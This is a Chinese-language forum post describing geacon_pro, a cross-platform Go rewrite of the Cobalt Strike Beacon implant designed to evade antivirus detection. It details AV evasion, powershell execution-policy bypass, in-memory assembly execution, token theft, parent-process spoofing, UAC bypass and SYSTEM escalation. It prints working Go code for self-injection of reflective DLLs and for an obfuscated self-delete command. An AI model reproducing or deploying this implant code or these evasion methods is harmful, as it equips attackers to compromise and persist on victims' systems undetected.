[原创]跨平台重构Cobaltstrike Beacon，行为对国内主流杀软免杀

2022-10-29 15:53 20546

[原创]跨平台重构Cobaltstrike Beacon，行为对国内主流杀软免杀

h4de5

2022-10-29 15:53

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一、概述

项目链接为geacon_pro

本项目基于geacon项目对cobaltstrike的beacon进行了重构，并适配了大部分Beacon的功能，支持4.1+版本。致力于做成不局限于cs功能的跨平台后渗透免杀工具。

该项目仅用于对CobaltStrike协议的学习测试以及合法的渗透测试。请勿使用于任何非法用途，由此产生的后果自行承担。

本项目与好兄弟Z3ratu1共同开发，他实现了一版支持4.0版本的geacon_plus，我这边实现了一版支持4.1及以上版本的beacon，大致功能类似，有部分功能不同。具体的使用方法请移步链接，这里主要说一下实现的思路。如果有师傅对cs协议感兴趣可以看鸡哥相关的文章。

二、实现的功能

windows平台支持的功能：

sleep、shell、upload、download、exit、cd、pwd、file_browse、ps、kill、getuid、mkdir、rm、cp、mv、run、execute、drives、powershell-import、powershell命令混淆、免杀bypassuac（uac-token-duplication）、免杀系统服务提权（svc-exe）、execute-assembly（不落地执行c#）、多种线程注入的方法（可自己更换源码）、spawn、inject、shinject、dllinject（反射型dll注入）、管道的传输、多种cs原生反射型dll注入（mimikatz、portscan、screenshot、keylogger等）、令牌的窃取与还原、令牌的制作、权限的获取、runu父进程欺骗、代理发包、自删除、timestomp更改文件时间等功能。支持cna自定义插件的reflectiveDll、execute-assembly、powershell、powerpick、upload and execute等功能

linux和mac平台支持的功能：

sleep、shell、upload、download、exit、cd、pwd、file_browse、ps、kill、getuid、mkdir、rm、cp、mv、自删除、timestomp
后续会添加linux与mac平台下后渗透功能

进程管理部分、文件管理部分支持图形化交互

C2profile：

适配了C2profile流量侧的设置与部分主机侧的设置，支持的算法有base64、base64url、mask、netbios、netbiosu。

三、整体的思路

传统cs的免杀偏向于如何加载上线，但是杀软对beacon的特征查得非常严，尤其是卡巴这种查内存的，因此不如自己重构一个。

免杀主要体现在三个方面:

由于是重构的，因此没有beacon的特征，针对beacon特征的杀软是检测不出来的。
golang本身具备一定的免杀性
针对各功能实现了免杀，cs部分不免杀的功能得到了更换

cs的通信协议

我们主要通过鸡哥的数篇文章以及https://github.com/WBGlIl/ReBeacon_Src来入门cs的通信协议以及cs原生的beacon实现。

之后我们根据实战的需求来调试并实现beacon的各种功能。同时在实现的时候还需要考虑稳定性以及体积的大小。

跨平台

由于我们想实现的是跨平台beacon，因此部分功能需要分平台实现，但是不同平台间同一个功能部分的实现又是相同的。我们抽出了一个service层来实现不同平台间功能重复的部分，进而减少代码的冗余。

功能实现与免杀

虽然是重构beacon，但是很多地方原封不动照搬cs的原生实现并不是很好，而且实现的语言也不一样。因此我们对部分功能进行了实现的调整，同时将cs不免杀的功能进行了替换，并针对特定功能集成了免杀的项目。

考虑到开源后exe被查杀的情况，也可以使用https://github.com/WBGlIl/go-ReflectiveDLL将geacon_pro转换成反射型dll的形式来灵活加载。或者也可以用其他项目转成shellcode的形式。

代码的思路结构

我们用main.go作为主函数，在beacon第一次与服务端通信之前执行隐藏窗口、反沙箱等操作。如果成功建立了连接则每隔一段时间向服务端发送请求，查看是否有需要下发的命令及数据，如果有的话则根据下发的命令号进行不同的处理。

sysinfo包中实现了获取不同平台下目标主机的基本信息的功能，以及拼装了beacon与服务器建立通信所需的meta数据。

services.go实现了对不同命令的跨平台处理。

packet包中的commands_windows.go、commands_linux.go、commands_darwin.go处理具体不同平台的底层实现。windows平台下部分复杂的功能被拆分成execute_assembly.go、jobs.go、token.go等来单独实现。总的来说packet包实现了对命令的具体的处理操作以及通信等功能。

config.go是geacon_pro的配置文件，类似于C2profile，geacon_pro在适配了大部分C2profile流量端与部分主机端配置的同时，还加入了代理发包、自删除、反沙箱等cs没有的设置。

四、部分功能实现的细节

命令的执行

命令的执行对应cs中的shell、run、execute三个命令，区别在于shell调用cmd，run调用执行的程序本身，而execute无回显。

geacon基于go的os/exec实现了跨平台的shell，但是我们在开发的时候发现golang的底层库并不是很稳定，在windows平台下执行部分命令的时候会突然崩溃。同时考虑到os/exec库的cmd不支持Token的使用，无法实现令牌的窃取，因此我们将命令执行的实现更改为了windows api CreateProcess。首先会判断当前是否有窃取/制作的Token，若有的话则用CreateProcessWithTokenW以Token权限来执行，没有的话则用CreateProcess执行。

shell和run在执行之后会用管道将结果回传给geacon_pro，而execute不会。

Linux和Mac平台下目前用/bin/bash来执行shell。

powershell

shell powershell是从cmd调用powershell，而powershell命令本身是以-nop -exec bypass -EncodedCommand参数来执行编码后的命令，如whoami

powershell -nop -exec bypass -EncodedCommand dwBoAG8AYQBtAGkA

geacon_pro目前对powershell命令集成了混淆（https://github.com/H4de5-7/powershell-obfuscation），但由于360对powershell命令执行监控的过于严格，powershell命令执行暂时过不了360，但是将混淆后落地的ps1文件用powershell -ExecutionPolicy Bypass -File执行可过360。师傅们可以用shell powershell执行未混淆的powershell。

cs的powerpick命令可以在内存中不通过powershell.exe执行powershell来绕过监控，不过在实现的时候发现powerpick可以执行成功但是部分情况拿不到回显（不知道是啥原因），师傅们可以考虑使用execute-assembly执行https://github.com/H4de5-7/powershell-bypass来代替powerpick。

powershell-import

beacon中有一个导入powershell模块的功能，将powershell后渗透利用框架导入到内存中方便后续的利用。我们的实现思路大致与Beacon类似，在目标主机上开一个端口放上module的内容，在下次要执行powershell命令的时候download下载该端口的module内容并用iex进行不落地的执行。尽管是不落地的执行，但最好还是把powershell模块混淆下。

execute-assembly

execute-assembly是在内存中执行C#程序，用不落地执行来绕过杀软的查杀，在实战中很常用。

execute-assembly在cs原生beacon中的实现如下：

服务端下发的主体内容为patch过的用于开环境的反射型dll、.NET程序、执行的参数

1、用CreateProcess拉起来一个rundll32.exe（默认）进程

2、服务端下发patch之后的反射型dll，beacon将该反射型dll注入到1中的进程中并执行，该dll的作用是开.NET的环境。

3、beacon之后把.NET程序注到1的进程中并执行。

考虑到过于麻烦、某些杀软会查杀远程线程注入的操作、卡巴会内存查杀反射型dll、容易拿不到执行的回显，我们没采用beacon的实现，而是用https://github.com/timwhitez/Doge-CLRLoad实现了go的原生execute-assembly。

原生反射型dll注入

反射型dll注入是很流行的一个后渗透手段，通过找到ReflectiveLoader函数的位置并执行dll达成不落地执行，师傅们有兴趣的话可以去看看这个项目，是反射型dll注入技术的起源项目。

基于该项目写的反射型dll是没有被patch的，需要手动找ReflectiveLoader函数的位置，而cs原生的dll是被patch过的，可以直接当成shellcode来执行。

解包cobaltstrike.jar包后可发现在sleeve目录下有很多dll文件，并根据目标是x64或者x86来注入对应的反射型dll。

图片描述

这些dll文件是加密了的，网上有解密的脚本。

cs为了追求稳定性，很多操作都是采用的fork&&run，即先用CreateProcess新建一个进程（默认是rundll32.exe），之后把shellcode/patch过后的反射型dll注入到该进程中。
以screenshot.dll为例，里面包含了屏幕截图与管道回传结果的代码。服务端对其解密后下发到beacon，beacon用线程注入将其注入到拉起的进程中来执行。然后服务端下发一条命令让beacon通过管道读取执行的结果，之后将读取到的结果回传给服务端。

不过很多杀软对fork&&run这种远程注入到其他进程的行为进行了监控，以360核晶为例会报远程线程注入的可疑行为。

为了规避这个被监控的点，我们尝试用注入自己的方式来执行shellcode/patch之后的反射型dll，然后通过管道来异步读取结果，发现稳定性也还不错。

我们发现所有原生反射型dll都有一个特点，就是会在最后调用ExitProcess来终止fork出来的进程。

图片描述

如果注入自己的话肯定不能用ExitProcess关掉geacon_pro进程，因此我们做了一个简单的patch，将服务端下发的反射型dll中的ExitProcess更换为ExitThread\x00仅让其退出当前的线程。

进程注入

进程注入有shinject、dllinject两种。

区别在shinject注入shellcode到其他的进程中，而dllinject注入反射型dll到其他的进程中。

在实现的时候我们发现这两种命令的下发格式是一样的，因此我们对下发的内容进行判断，如果存在有reflectiveloader字样就认为是dllinject注入，反之是shinject注入。但由于目前dllinject其他的进程并不是很稳定，暂时只支持注入到自身。

与上文所说的原生反射型dll不同，cs并不会patch用户上传的反射型dll，只会在服务端计算下ReflectiveLoader偏移的位置并下发beacon端帮助注入。但我们这里原本的实现是在beacon端手动找了ReflectiveLoader的位置，后面懒得改了，就没有使用cs下发的偏移。找到ReflectiveLoader的位置之后注入，同时还有考虑有参数的情况，这里用CreateThread将参数传入：

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func DllInjectSelf(params []byte, b []byte) ([]byte, error) {
    p, err := pe.NewFile(bytes.NewReader(b))
    if err != nil {
        return nil, err
    }
 
    ex, e := p.Exports()
    if e != nil {
        return nil, err
    }
 
    var RDIOffset uintptr
    for _, exp := range ex {
        if strings.Contains(strings.ToLower(exp.Name), "reflectiveloader") {
            RDIOffset = uintptr(rvaToOffset(p, exp.VirtualAddress))
        }
    }
 
    process, err := windows.GetCurrentProcess()
    if err != nil {
        return nil, err
    }
 
    if string(params) == "\x00" {
        ba, _, err := VirtualAllocEx.Call(uintptr(process), 0, uintptr(len(b)),
            windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE)
        if ba == 0 {
            fmt.Println("VirtualAlloc Failed")
            return nil, errors.New("VirtualAlloc Failed")
        }
        if err != nil && err.Error() != "The operation completed successfully." {
            return nil, err
        }
 
        _, _, err = RtlCopyMemory.Call(ba, (uintptr)(unsafe.Pointer(&b[0])), uintptr(len(b)))
        if err != nil && err.Error() != "The operation completed successfully." {
            return nil, err
        }
 
        writeMem(ba, b)
 
        Ldr := ba + RDIOffset
 
        oldProtect := windows.PAGE_READWRITE
        _, _, err = VirtualProtect.Call(ba, uintptr(len(b)), windows.PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect)))
        if err != nil && err.Error() != "The operation completed successfully." {
            return nil, err
        }
 
        thread, _, err := CreateThread.Call(0, 0, Ldr, 0, 0, 0)
        if err != nil && err.Error() != "The operation completed successfully." {
            return nil, err
        }
 
        _, _, err = WaitForSingleObject.Call(thread, 1000)
        if err != nil && err.Error() != "The operation completed successfully." {
            return nil, err
        }
 
        return []byte("DllInject success"), nil
 
    }
 
    ba, _, err := VirtualAllocEx.Call(uintptr(process), 0, uintptr(len(b)+len(params)),
        windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE)
    if ba == 0 {
        fmt.Println("VirtualAlloc Failed")
        return nil, errors.New("VirtualAlloc Failed")
    }
    if err != nil && err.Error() != "The operation completed successfully." {
        return nil, err
    }
 
    _, _, err = RtlCopyMemory.Call(ba, (uintptr)(unsafe.Pointer(&b[0])), uintptr(len(b)))
    if err != nil && err.Error() != "The operation completed successfully." {
        return nil, err
    }
 
    _, _, err = RtlCopyMemory.Call(ba+uintptr(len(b)), (uintptr)(unsafe.Pointer(&params[0])), uintptr(len(params)))
    if err != nil && err.Error() != "The operation completed successfully." {
        return nil, err
    }
 
    writeMem(ba, b)
 
    Ldr := ba + RDIOffset
 
    oldProtect := windows.PAGE_READWRITE
    _, _, err = VirtualProtect.Call(ba, uintptr(len(b)+len(params)), windows.PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect)))
    if err != nil && err.Error() != "The operation completed successfully." {
        return nil, err
    }
 
    thread, _, err := CreateThread.Call(0, 0, Ldr, uintptr(unsafe.Pointer(&params[0])), 0, 0)
    if err != nil && err.Error() != "The operation completed successfully." {
        return nil, err
    }
 
    _, _, err = WaitForSingleObject.Call(thread, 1000)
    if err != nil && err.Error() != "The operation completed successfully." {
        return nil, err
    }
 
    return []byte("DllInject success"), nil
}

这里要感谢timwhitez师傅及https://github.com/timwhitez/Doge-RL的帮助

令牌

Token部分实现了令牌的窃取、令牌的制作、令牌的还原、权限的获取以及父进程欺骗。

main.go中会保存一个uintptr类型的Token，如果是默认令牌的话是0，如果成功窃取了令牌则将Token赋为该令牌。窃取之后会用windows api ImpersonateLoggedOnUser模拟上下文的令牌权限，不过由于上下文的权限不会影响其他的进程，因此shell、run、execute等需要创建其他进程的功能需要用CreateProcessWithTokenW。

父进程欺骗runu通过指定进程的pid，让执行的子进程的ppid为该pid，方便伪装进程。

图片描述

如这里把main.exe伪装成winlogon.exe的子进程。

提权

bypassuac：geacon_pro集成了免杀bypassuac，即elevate中的uac-token-duplication。

administrator->system：geacon_pro集成了免杀系统服务svc-exe提权https://github.com/H4de5-7/elevate-bypass，即elevate中的svc-exe。同时也可以使用steal_token和runu来提权。

上线内网不出网主机

考虑到渗透中常常存在着内网主机上线的情况，即边缘主机出网，内网主机不出网的情况。

由于cs自带的socks4代理已经过时了，如果要修改成socks5的话还得改服务端，并且实现稳定的代理会增大不少的体积，因此我们在这里并没有实现内置的代理，推荐师傅们手传frp等稳定的代理。

尽管不支持开代理的功能，但是geacon_pro提供了代理发包的功能。可以通过设置config.go中的proxy参数，通过边缘主机的代理进行木马的上线。即如果已经在边缘主机192.168.140.130的8080端口开了个http代理，那么在config.go中设置ProxyOn为true，Proxy为http://192.168.140.130:8080即可令内网的geacon_pro上线服务器。

堆内存加密

beacon的实现中有堆内存加密（sleep_mask）这个功能，即在sleep之前将内存中数据加密，sleep之后再解开，可以避免杀软对内存的扫描。

堆内存加密的方法实现参考了https://cloud.tencent.com/developer/article/1949555。即在sleep之前先将除主线程之外的线程挂起，之后遍历堆对堆内存进行加密。sleep结束后解密并将线程恢复。不过该功能较为不稳定，有时在进行堆遍历的时候会突然卡住或者直接退出，并且考虑到后台可能会有keylogger或portscan这种的持久任务，将线程全部挂起有些不合适，如果有师傅有好的想法欢迎来讨论。同时我不太理解为什么go的time.Sleep函数在其他线程都挂起之后调用会一直沉睡，而调用windows.SleepEx就不会有问题，还望师傅们解答。我个人感觉go部分原生库的实现仍存在部分的bug。

字符集

cs在服务端与beacon通信的时候协商了字符集类型，如windows默认的是GBK，linux则是UTF-8。但是用go重构会有一个比较麻烦的问题，go对字符串的处理默认是UTF-8，但有时windows通信时服务端下发的命令中包含中文，由于是GBK无法进行正常的处理。因此我们做了一个统一，各平台默认的协商字符集均为UTF-8，这样避免了冗杂的处理环节，仅在回传的时候对执行的结果进行了判断，如果是GBK就先转换成UTF-8再回传：

func CodepageToUTF8(b []byte) ([]byte, error) {
    if !utf8.Valid(b) {
        reader := transform.NewReader(bytes.NewReader(b), simplifiedchinese.GBK.NewDecoder())
        d, e := ioutil.ReadAll(reader)
        if e != nil {
            return nil, e
        }
        return d, nil
    }
    return b, nil
}

func DataProcess(callbackType int, b []byte) {
    result := b
    var err error
    if callbackType == 0 {
        result, err = CodepageToUTF8(b)
        if err != nil {
            ErrorProcess(err)
        }
    }
    finalPaket := MakePacket(callbackType, result)
    _, err = PushResult(finalPaket)
    if err != nil {
        ErrorProcess(err)
    }
}

这里我们对callbackType进行了限制，因为有部分命令如ps、ls会对结果进行padding，这样可能会让utf8.Valid()把UTF-8的结果认为是GBK而进行错误的字符集转换。

自删除

cs没有做自删除的功能，我们添加了不同平台下的自删除功能。

windows平台下由于进程未退出的时候是无法自己删除自己的，常用的方法有bat与远程线程注入。

远程线程注入的缺点前面也提到了容易被杀软监控，因此我们这里简化了一下bat自删除，用CreateProcess新起了一个进程，在原进程执行完之后删除它：

func DeleteSelf() ([]byte, error) {
    var sI windows.StartupInfo
    var pI windows.ProcessInformation
    sI.ShowWindow = windows.SW_HIDE
 
    filename, err := os.Executable()
    if err != nil {
        return nil, err
    }
    program, _ := syscall.UTF16PtrFromString("c" + "m" + "d" + "." + "e" + "x" + "e" + " /c" + " d" + "e" + "l " + filename)
    err = windows.CreateProcess(
        nil,
        program,
        nil,
        nil,
        true,
        windows.CREATE_NO_WINDOW,
        nil,
        nil,
        &sI,
        &pI)
    if err != nil {
        return nil, errors.New("could not delete " + filename + " " + err.Error())
    }
    err = windows.SetPriorityClass(pI.Process, windows.IDLE_PRIORITY_CLASS)
    if err != nil {
        return nil, err
    }
    return []byte("success delete"), nil
 
}